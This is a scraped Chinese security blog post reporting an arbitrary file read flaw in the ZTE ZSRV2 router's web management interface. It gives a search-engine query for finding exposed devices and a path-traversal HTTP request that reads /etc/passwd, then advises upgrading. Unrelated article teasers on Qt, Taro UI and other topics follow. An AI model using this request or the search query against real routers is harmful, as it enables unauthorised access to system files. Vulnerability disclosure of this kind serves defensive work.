中兴-ZSRV2路由器-任意文件读取

news/2025/1/15 12:37:03/

中兴-ZSRV2路由器-任意文件读取

文章目录

  • 中兴-ZSRV2路由器-任意文件读取
    • 免责声明
    • 漏洞描述
    • 搜索语法
    • 漏洞复现
    • 修复建议

免责声明

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任

漏洞描述

该路由器管理页面的存在任意文件读取漏洞

搜索语法

title=“ZSRV2路由器Web管理系统”

漏洞复现

GET /../../../../../../../../etc/passwd HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

在这里插入图片描述

修复建议

升级到最新版本


http://www.ppmy.cn/news/1521301.html

相关文章

taro ui 小程序at-calendar日历组件自定义样式+选择范围日历崩溃处理

taro ui 日历文档 目录 单选标记时间: 效果: template: data: methods: 日历--范围选择: 效果: template: data: methods: 日历--间隔多选:利用标…

【机器人工具箱Robotics Toolbox开发笔记(三)】 操作臂位姿变换之机器人工具箱基础函数

机器人的运动学模型包括机器人各连杆、关节的位姿以及在各关节上的坐标系,其任务之一就是确立机器人末端执行器的位姿。操作臂通常是由一组关节连接的连杆结合体:第一个连杆固定,连接该操作臂的基座,而最后一个连杆连接的是它的末端执行器。操作机器人是为了控制与机器人相…

如何在退出Qt时保存用户配置

如何在退出Qt时保存用户配置 文章目录 如何在退出Qt时保存用户配置一、简介二、 保存配置数据(方法一)2.1 项目实现2.2 运行结果 三、保存配置数据(方法二)3.1 项目实现3.2 运行结果 四、写在最后 ​ 一、简介 在我们使用 Qt 进行…

King’s LIMS 实验室信息管理系统:引领实验室数字化转型的创新力量

在信息技术飞速发展的当下,传统实验室运行模式暴露出工作效率低、数据价值开发不足、质量管控难度大等问题。为了全面提升实验数据开发应用水平,提高检测业务、科学研究以及决策管理的协作能力,实验室信息化系统成为了实现实验室数字化转型、…

单点登录问题【拼多多0905一面】

说一些今晚情况,7点腾讯音乐笔试,因为8点拼多多一面,哪个都拒不了。硬着头皮50分钟写了1.2题然后去面试。刚开始状态真的很差,大脑思考不动,面试中2个手撕,做出来一个,两个项目问题,…

libsvm 数据格式简介

libsvm文件数据格式&#xff1a; <label> <index1>:<value1> <index2>:<value2> ...其中&#xff0c; <label> 是训练数据集的目标值&#xff0c;对于分类&#xff0c;它是标识某类的整数(支持多个类)&#xff1b;对于回归&#xff0c;是…

如何构建可靠云服务:亚马逊云科技的云端韧性之道

“控制面和数据面的隔离&#xff0c;类似于叫车软件和打车&#xff0c;两者其实是相对独立的。当你坐上车以后&#xff0c;如果一段时间叫车软件没有信号无法响应了&#xff0c;也不影响司机将你送到预定的目的地。很多故障失效的情况&#xff0c;关键在于没有把数据面和控制面…

QT/QML 简介

QT/QML QML&#xff08;Qt Meta Language 或 Qt Modeling Language&#xff09;是一种用于设计用户界面的声明式语言&#xff0c;主要用于Qt框架。QML允许开发者以一种直观的方式描述用户界面&#xff0c;同时与JavaScript结合使用&#xff0c;以便实现复杂的逻辑和动态行为。…